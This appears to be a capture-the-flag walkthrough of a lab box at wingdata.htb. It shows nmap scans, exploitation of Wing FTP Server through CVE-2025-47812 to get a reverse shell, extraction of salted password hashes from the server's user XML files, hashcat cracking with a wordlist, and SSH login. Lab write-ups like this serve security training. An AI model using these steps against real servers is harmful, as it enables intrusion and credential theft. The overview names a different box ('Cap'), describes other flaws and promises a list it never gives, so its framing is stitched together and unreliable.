Overview

Cap is a retired easy Linux box which demonstrates how small web authorization flaws and insecure protocol usage can chain into full system compromise. it teaches three core ideas:

1. Recon

Start with a full TCP scan and default scripts/version detection:

    ┌──(pentester㉿kali)-[~]
└─$ nmap -p- --min-rate 500 10.129.11.195
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-05 23:06 EET
Nmap scan report for 10.129.11.195
Host is up (0.058s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 144.74 seconds
                                                                                                                                                                                                                                
┌──(pentester㉿kali)-[~]
└─$ nmap -p22,80 -sCV 10.129.11.195      
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-05 23:23 EET
Nmap scan report for 10.129.11.195
Host is up (0.097s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_  256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open  http    Apache httpd 2.4.66
|_http-title: Did not follow redirect to http://wingdata.htb/
|_http-server-header: Apache/2.4.66 (Debian)
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.93 seconds

The web application presents itself as an internet file-sharing solution, which immediately suggests an FTP-backed service

Clicking the “Client Portal” button redirects to a new virtual host at http://ftp.wingdata.htb/, revealing a login page:

At the bottom, the application discloses its fingerprint: Wing FTP Server v7.4.3.

2. Web

Wing FTP Server is a cross-platform commercial FTP server with a built-in web interface. When we go looking for vulnerabilities/exploits related to this, we identify a CVE:

• CVE-2025-47812

We can also find that Wing FTP allows anonymous logins without a password:

First, we will download the exploit and type what command we want to run.

Now, we’ll start a netcat listener, waiting for the connection to open the reverse shell.

Shell as wingftp

3. User

Using linpeas for enumeration, we find

╔══════════╣ Unexpected in /opt (usually empty)

drwxr-xr-x  4 root    root    4096 Feb  9 08:19 .
drwxr-xr-x 18 root    root    4096 Feb  9 08:19 ..
drwxr-x---  4 root    wacky   4096 Jan 12 08:43 backup_clients
drwxr-x---  9 wingftp wingftp 4096 Feb 14 22:16 wftpserver

The path /opt/wftpserver/Data/1/users/anonymous.xml, stores Wing FTP user data in XML format:

<?xml version="1.0" ?>
<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
    <USER>
        <UserName>anonymous</UserName>
        <EnableAccount>1</EnableAccount>
        <EnablePassword>0</EnablePassword>
        <Password>d67f86152e5c4df1b0ac4a18d3ca4a89c1b12e6b748ed71d01aeb92341927bca</Password>
        <ProtocolType>63</ProtocolType>
        
    </USER>
</USER_ACCOUNTS>

After checking out the file system, we run into a xml file for wacky.

-rw-rw-rw- 1 wingftp wingftp 2856 Nov  2 12:28 wacky.xml

    <USER>
        <UserName>wacky</UserName>         
        <Password>
        32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca
        </Password>
    </USER>

From the configuration:

<EnableSHA256>1</EnableSHA256>
<EnablePasswordSalting>1</EnablePasswordSalting>
<SaltingString>WingFTP</SaltingString>

Wing FTP documentation explicitly states that a salt string is appended to the password before hashing.

Thus, the effective scheme is:

SHA256(password + "WingFTP")

Hashcat mode 1410 targets SHA-256 with a fixed salt string. Run hashcat:

└─$ hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt

The credentials are valid for SSH access:

└─$ ssh wacky@wingdata.htb 
The authenticity of host 'wingdata.htb (10.129.11.195)' can't be established.
ED25519 key fingerprint is SHA256:JacnW6dsEmtRtwu2ULpY/CK8n/8M9tU+6pQhjBG3a4w.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'wingdata.htb' (ED25519) to the list of known hosts.
wacky@wingdata.htb's password: 
Linux wingdata 6.1.0-42-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.159-1 (2025-12-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Mar 5 17:12:02 2026 from 10.10.14.203
wacky@wingdata:~$